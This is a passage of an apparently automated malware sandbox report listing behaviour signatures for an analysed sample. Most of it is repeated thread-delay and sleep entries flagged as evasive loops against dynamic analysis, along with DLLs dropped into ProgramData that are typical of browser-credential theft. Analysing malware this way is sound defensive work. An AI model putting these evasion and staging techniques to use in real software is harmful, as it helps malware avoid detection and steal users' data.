Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 531158 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 531000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 530829 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 530641 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 530422 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 530270 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 530094 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 529931 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 529750 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 529576 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 529458 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 529275 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 529138 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 529000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 528782 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 528547 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 528391 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 528203 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 528047 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 527895 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 527748 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 527094 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 526938 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 526735 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 526562 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 526391 Jump to behavior
Source: C:\ProgramData\EBGDHJECFC.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Window / User API: threadDelayed 5209 Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Dropped PE file which has not been started: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Dropped PE file which has not been started: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Dropped PE file which has not been started: C:\ProgramData\softokn3.dll Jump to dropped file
Found large amount of non-executed APIs
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe API coverage: 9.5 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\file.exe TID: 5032 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe TID: 4996 Thread sleep count: 321 > 30 Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe TID: 4996 Thread sleep count: 243 > 30 Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe TID: 5660 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 6500 Thread sleep count: 5209 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -4611686018427385s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -100000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -99823s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -99661s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -99484s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -99319s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -99140s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -98962s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -98265s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -98025s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -97687s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -97457s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -97268s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -97078s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -96885s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -96728s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -99797s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -99625s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -99297s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -99890s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -99730s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -99531s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -99359s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -99187s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -98937s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -99891s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -99728s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -99578s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -99910s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -99688s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -99094s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -98891s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -595735s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -595518s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -595312s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -595136s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -594954s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -594794s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -594539s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -594376s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -594203s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -593552s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -593297s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -593094s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -592931s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -592750s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -592594s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -592438s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -592250s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -592062s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -591907s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -591747s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -591594s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -591329s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -590850s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -590671s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -590468s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -590271s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -590069s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -589829s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -589625s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -589360s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -589172s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -588954s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -588657s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -588114s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -587936s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -587746s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -587567s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -587333s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -587094s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -586886s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -586650s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -586479s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -586250s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -585625s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -585435s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -585196s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -585000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -584826s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -584609s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -584412s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -584219s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -584032s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -583827s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -583610s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -583016s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -582749s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -582532s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -582363s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -582174s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -582012s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -581829s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -581647s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -581395s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -581110s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -580820s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -580245s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -579985s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -579813s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -579593s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -579421s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -579236s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -579023s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -578719s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -578516s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -578219s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -577625s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -577425s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -577231s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -577086s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -576976s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -576704s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -576391s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -576184s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -575938s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -575730s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -575087s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -574860s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -574667s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -574444s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -574250s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -573985s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -573762s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -573578s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -573373s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -573193s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -572516s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -572276s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -572059s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -571907s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -571733s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -571577s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -571391s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -571249s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -571022s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -570837s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -570661s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -570478s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -570157s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -569657s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -569468s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -569297s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -569096s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -568873s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -568684s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -568454s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -568256s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -568094s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -567860s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -567320s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -567147s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -566907s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -566680s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -566467s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -566295s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -566141s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -565938s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -565750s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -565547s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -565419s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -565213s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -564641s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -564426s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -564235s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -564032s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -563829s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -563598s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -563313s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -563110s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -562938s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -562688s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -562313s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -561797s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -561640s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -561442s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -561282s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -561123s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -560909s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -560714s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -560498s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -560329s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -560140s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476 Thread sleep time: -559897s >= -30000s Jump to behavior
